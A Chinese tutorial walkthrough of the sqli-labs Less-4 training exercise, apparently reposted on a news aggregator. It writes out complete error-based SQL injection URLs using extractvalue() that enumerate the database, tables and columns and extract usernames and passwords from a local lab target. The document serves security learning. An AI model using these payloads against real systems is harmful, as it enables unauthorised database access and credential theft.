当前位置: 首页 > news >正文

sqli-labs(Less-4) extractvalue闯关

extractvalue() - Xpath类型函数

1. 确认注入点如何闭合的方式
在这里插入图片描述

2. 爆出当前数据库的库名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select database()))) --+

在这里插入图片描述
3. 爆出当前数据库的表名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制
在这里插入图片描述
通过不断调整limit 0,1 得到users表
在这里插入图片描述
4. 爆出表中的字段名

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+

在这里插入图片描述
通过不断调整limit 0,1 得到所有的字段名id,username,password

5. 获取表中内容

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,username,password) from users limit 0,1))) --+

在这里插入图片描述
可在concat中添加分隔符 更方便数据的获取

http://127.0.0.1/sqlilabs/Less-4/?id=1") and extractvalue(1,concat('~',(select concat(id,'~',username,'~',password) from users limit 0,1))) --+

在这里插入图片描述
通过不断调整limit 0,1 即可得到全部的账号密码

http://www.lryc.cn/news/232302.html

相关文章:

  • Kafka简单汇总
  • 任务交给谁?委派模式告诉你最佳选择!
  • 【JavaEE】Servlet(创建Maven、引入依赖、创建目录、编写及打包、部署和验证、smart Tomcat)
  • 降低城市内涝风险,万宾科技内涝积水监测仪的作用
  • 水库大坝安全监测预警系统的重要作用
  • 【AI视野·今日NLP 自然语言处理论文速览 第六十五期】Mon, 30 Oct 2023
  • 腾讯云轻量服务器购买优惠,腾讯云轻量应用服务器优惠购买方法
  • zookeeper学习记录
  • C语言--字符串详解(多角度分析,什么是字符串?字符串如何存储?字符串如何应用?字符串常用的库函数有哪些?)
  • 【文件包含】任意文件包含的理解
  • 【ERROR】ERR_PNPM_NO_IMPORTER_MANIFEST_FOUND No package.json
  • Gitlab CI如何实现安全获取ssh-key拉取依赖项目,打包成品
  • C#匿名方法介绍
  • Linux C/C++全栈开发知识图谱(后端/音视频/游戏/嵌入式/高性能网络/存储/基础架构/安全)
  • pyTorch Hub 系列#2:VGG 和 ResNet
  • clip4clip:an empirical study of clip for end to end video clip retrieval
  • rocksdb中测试工具Benchmark.sh用法(基准、性能测试)
  • JS-项目实战-点击水果名修改特定水果库存记录
  • Redis渐进式rehash小疑问
  • C#winform门诊医生系统+sqlserver
  • 设计模式 -- 工厂模式(Factory Pattern)
  • 设计模式-08-适配器模式
  • 北邮22级信通院数电:Verilog-FPGA(9)第九周实验(4)实现寄存器74LS374
  • 【Android】带下划线的TextView
  • 图解未来:数据可视化引领智慧决策时代
  • 例解什么是Python装饰器
  • EtherCAT从站EEPROM组成信息详解(3):字16-63邮箱、EEPROM信息
  • 【文件读取/包含】任意文件读取漏洞 afr_1
  • (八)五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • 通义灵码,阿里巴巴的编程辅助工具